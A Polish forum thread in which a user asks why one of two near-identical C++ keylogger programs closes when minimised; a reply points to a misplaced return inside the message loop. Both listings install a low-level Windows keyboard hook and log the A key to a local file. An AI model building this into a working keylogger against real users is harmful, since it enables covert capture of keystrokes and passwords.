Dziwny problem keylogger

sm950

Użytkownik
Dołączył
Sierpień 8, 2012
Posty
62
Witam

Otóż mam taki problem z kodami są identyczne a nie działają tak samo ;/
otóż jeden działa prawidłowo można przełączać okna a się nie wyłączy a drugi wystarczy że się go zminimalizuje i już się zamyka


Pierwszy działający prawidłowo
kod:
Kod:
#include <iostream>
#include <fstream>
#include <windows.h>
#define VK_A 65
using namespace std;
fstream out("plik.txt", ios::out);
const char g_szClassName[] = "klasa";

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	PKBDLLHOOKSTRUCT p= (PKBDLLHOOKSTRUCT) (lParam);
	if(wParam==WM_KEYDOWN)
	{
		switch(p->vkCode)
		{
			case VK_A:
				if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
				) out << "A";
				else
				out << "a";
				break;
		}
	}
	return CallNextHookEx(NULL,  nCode, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {

HWND hwnd;
MSG Msg;

    hwnd = CreateWindowEx(
        WS_EX_CLIENTEDGE,
        g_szClassName,
        "klasa",
        WS_OVERLAPPEDWINDOW,
        CW_USEDEFAULT, CW_USEDEFAULT, 240, 120,
        NULL, NULL, hInstance, NULL);



    HHOOK keyboardHook = SetWindowsHookEx(

        WH_KEYBOARD_LL,

        LowLevelKeyboardProc,

        GetModuleHandle(0), 0);


    while(GetMessage(&Msg, NULL, 0, 0))
    {
        TranslateMessage(&Msg);
        DispatchMessage(&Msg);
    }
    return Msg.wParam;
    return 0;
}



Drugi nie działający prawidłowo
kod:
Kod:
#include <iostream>
#include <fstream>
#include <windows.h>
#define VK_A 65
using namespace std;
fstream out("plik.txt", ios::out);
const char g_szClassName[]= "klasa";
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
    if(wParam==WM_KEYDOWN)
    {
        switch(p->vkCode)
        {
        case VK_A:
            if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
               ) out << "A";
                else
                out << "a";
            break;
        }
    }
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}




int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
    HWND hwnd;
    MSG Msg;

    hwnd = CreateWindowEx(
    WS_EX_CLIENTEDGE,
    g_szClassName,
    "klasa",
    WS_OVERLAPPEDWINDOW,
    CW_USEDEFAULT, CW_USEDEFAULT, 240, 120,
    NULL, NULL, hInstance, NULL);

    HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandle(0), 0);
    while(GetMessage(&Msg, NULL, 0, 0))
    {
        TranslateMessage(&Msg);
        DispatchMessage(&Msg);
        return Msg.wParam;
    }

}


nie mam pojęcia czemu tak jest
za pomoc dzięki.
 

HeadShotDeluxe

Użytkownik
Dołączył
Grudzień 17, 2012
Posty
86
Popatrz na sam dół każdego kodu.

ghnxfnhxgf.png
 

sm950

Użytkownik
Dołączył
Sierpień 8, 2012
Posty
62
nie wiem jak ci dziękować :D a tyle razy na to patrzyłem i nie mogłem znaleźć różnicy
Dzięki !
 
Do góry Bottom